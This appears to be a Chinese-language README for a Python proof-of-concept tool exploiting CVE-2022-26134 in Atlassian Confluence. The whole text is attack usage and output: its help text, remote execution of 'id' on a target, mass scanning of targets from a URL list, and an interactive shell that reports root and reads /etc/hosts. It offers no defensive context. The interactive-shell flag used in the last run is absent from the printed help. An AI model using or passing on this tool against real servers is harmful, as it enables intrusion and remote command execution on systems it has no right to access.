利用 CVE-2022-26134 攻击 Atlassian Confluence 的 PoC
python3 conFLU.py -h
Usage: conFLU.py [-h] [-u URL] [-f F] [-cmd CMD]
optional arguments:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 目标 URL
-f F, --file F URL 文件
-c CMD, --command CMD
命令
$ python3 conFLU.py -u http://[redacted].com -c id
******** ** ** **
/**///// /** /** /**
***** ****** ******* /** /** /** /**
**///** **////**//**///**/******* /** /** /**
/** // /** /** /** /**/**//// /** /** /**
/** **/** /** /** /**/** /** /** /**
//***** //****** *** /**/** /********//*******
///// ////// /// // // //////// ///////
</由 Luchoane 编写>
[++++++] 存在漏洞: https://xxx.xxx.xxx.xxx | [uid=1009(confluence) gid=1009(confluence) groups=1009(confluence)]
$ python3 conFLU.py -f list.txt -c id
******** ** ** **
/**///// /** /** /**
***** ****** ******* /** /** /** /**
**///** **////**//**///**/******* /** /** /**
/** // /** /** /** /**/**//// /** /** /**
/** **/** /** /** /**/** /** /** /**
//***** //****** *** /**/** /********//*******
///// ////// /// // // //////// ///////
</由 Luchoane 编写>
[-] 不存在漏洞: https://xxx.xxx.xxx.xxx
[!] 连接时发生错误!
[!] 连接时发生错误!
[++++++] 存在漏洞: https://xxx.xxx.xxx.xxx | [uid=1009(confluence) gid=1009(confluence) groups=1009(confluence)]
--------------------------
已扫描的漏洞目标:
[+] https://xxx.xxx.xxx.xxx
$ python3 conFLU.py -s xxx.xxx.xxx.xxx
******** ** ** **
/**///// /** /** /**
***** ****** ******* /** /** /** /**
**///** **////**//**///**/******* /** /** /**
/** // /** /** /** /**/**//// /** /** /**
/** **/** /** /** /**/** /** /** /**
//***** //****** *** /**/** /********//*******
///// ////// /// // // //////// ///////
</由 Luchoane 编写>
欢迎进入交互式 Shell,目标:https://xxx.xxx.xxx.xxx
用户:root
> id
uid=0(root) gid=0(root) groups=0(root)
> cat /etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost6 localhost6.localdomain6
>